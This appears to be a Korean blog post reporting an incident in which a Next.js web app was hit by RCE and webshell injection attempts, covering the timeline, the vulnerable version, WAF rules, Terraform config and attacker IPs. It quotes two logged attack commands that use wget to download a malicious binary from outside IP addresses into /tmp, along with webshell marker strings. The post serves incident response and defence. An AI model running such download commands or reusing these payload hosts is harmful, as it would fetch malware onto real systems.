최근 운영 중이던 웹 애플리케이션에서 원격 코드 실행(RCE)과 웹쉘 인젝션(WebShell Injection) 공격 시도가 탐지되었습니다. API 지연 문제를 조사하던 중 발견한 사례로, 내부망 기반 서비스라 하더라도 CloudFront, ALB 등을 경유하면 언제든 외부 공격이 유입될 수 있다는 점을 다시 확인한 인시던트였습니다.
이번 글에서는 공격 타임라인, 원인, 대응 과정, 향후 방어 전략을 정리해 공유합니다.
1. 인시던트 개요
- 발견일시: 2025-12-08
- 대상 서비스(예시): example-web (Next.js 기반 프런트엔드)
- 심각도: ★★★★★ Critical
- 탐지 방식: CloudFront → ALB → Pod 로그 분석 중 RCE 및 웹쉘 패턴 확인
2. 공격 타임라인 요약
| 시간(UTC) | 공격 유형 | 상세 정보 |
| 2025-12-07 13:52 | RCE 시도 | wget 요청으로 악성 바이너리 다운로드 시도 |
| 2025-12-07 16:43 | 웹쉘 인젝션 | 파일 매니저형 웹쉘 흔적 탐지 |
| 2025-12-07 20:02 | 메모리쉘 인젝션 | 메모리 기반 웹쉘 문자열 패턴 발견 |
| 2025-12-07 21:31 | RCE 재시도 | 추가 악성 서버에서 바이너리 다운로드 시도 |
특징은 여러 IP가 동일한 페이로드를 단계적으로 투입했다는 점이다. 이는 일반 스캐닝이 아니라 자동화된 공격 스크립트 또는 Botnet 기반 공격으로 추정된다.
3. 공격 벡터 분석
🔎 발견된 공격 패턴
wget -qO /tmp/443nb64 http://128.199.194.97:5511/443nb64
wget -qO /tmp/443nb64 http://146.88.129.138:5511/443nb64
memshell_injected_at_/shellxxxx
filemanager_injected_at_/filexxxx
📌 공격 경로 구조
인터넷 → CloudFront → ALB → example-web Pod
↓
Next.js RCE 취약점 악용
공격자는 프레임워크의 취약점을 활용해 서버 액션을 악용한 것으로 보인다.
4. 근본 원인 분석
❗ Next.js RCE 취약점(GHSA-9qr9-h5gf-34mp)
- 영향 버전: 15.5.0 ~ 15.5.6
- 문제점: Server Actions 기능에서 입력 검증 미비로 인해 RCE 발생 가능
- 현재 서비스 버전(예시): 15.5.4 → 취약 버전
비록 내부 프라이빗 클러스터(EKS) 환경이라도, CloudFront와 ALB를 통한 HTTP 접근이 가능하기 때문에 인터넷과 실제로는 완전히 격리되지 않는 구조였다.
5. 대응 조치
✅ 즉시 조치(완료)
- 공격 로그 전량 수집 및 분석
- 공격자 IP 식별 및 임시 차단
- AWS WAF Web ACL 생성 및 기본 룰 적용
- 보안팀에 인시던트 리포트 전달
🔐 적용된 WAF 룰셋(예시)
- AWSManagedRulesCommonRuleSet
- AWSManagedRulesKnownBadInputsRuleSet
- AWSManagedRulesUnixRuleSet (wget/curl/chmod 등 차단)
- AWSManagedRulesAnonymousIpList
- IP 기준 RateLimit (5분 2000req 제한)
⏳ 추가 필요 작업
- CloudFront와 WAF WebACL 연결
- Next.js 버전 업그레이드(15.5.7 이상)
- 배포된 Pod 재시작(악성코드 Persistence 제거)
- 전체 서비스 보안 점검
6. Terraform 구성(예시)
WAF 생성은 인프라 코드로 관리되며 아래와 같이 구성했다.
# waf.tf
resource "aws_wafv2_web_acl" "cloudfront_waf" {
name = "cloudfront-waf-acl"
scope = "CLOUDFRONT"
...
}
CloudFront 배포 파일:
web_acl_id = aws_wafv2_web_acl.cloudfront_waf.arn
7. 향후 보안 강화 전략
📌 단기
- Next.js 패치 적용 (필수)
- CloudFront–WAF 연동 완료
- Pod 재배포로 웹쉘 흔적 제거
📌 중기·장기
- CloudWatch 기반 실시간 공격 탐지 알람 구성
- WAF 로그 주기적 분석 자동화
- 정기적인 취약점 점검 및 npm audit 자동화
- 서비스별 보안 인시던트 대응 절차 문문화
8. 공격자 IP 정보
| IP | 특성 |
| 128.199.194.97 | 해외 VPS 추정(악성 바이너리 호스팅) |
| 146.88.129.138 | 알려진 공격 스크립트 배포 서버 |
마무리
이번 사례는 프레임워크 최신 버전 유지의 중요성,
그리고 내부망 기반 서비스라도 공격이 유입될 수 있다는 위험성을 다시 보여주었습니다.
웹 애플리케이션 프레임워크가 제공하는 편리한 기능(Server Actions 등)은 종종 예상치 못한 공격 벡터가 되기도 하므로, 평소 보안 공지 모니터링, 패치 전략, WAF 기본 룰 구성은 필수입니다.
참조
https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp
'Security' 카테고리의 다른 글
| SSL 인증서 발급/갱신 시 DNS TXT 인증 정리 (일반형 가이드) (0) | 2025.11.17 |
|---|---|
| [우체국 스팸] 패키지가 물류 센터에 보류 중 - 조치방법 (0) | 2025.05.07 |
| mTLS란? 개념 동작 장점 단점 (0) | 2024.01.18 |
| 윈도우WSL에서 chmod 안될때 (0) | 2022.08.31 |
| 윈도우 cmd 에서 pem 파일 ssh 접속편하게 관리 (aws ec2) (0) | 2022.08.31 |
댓글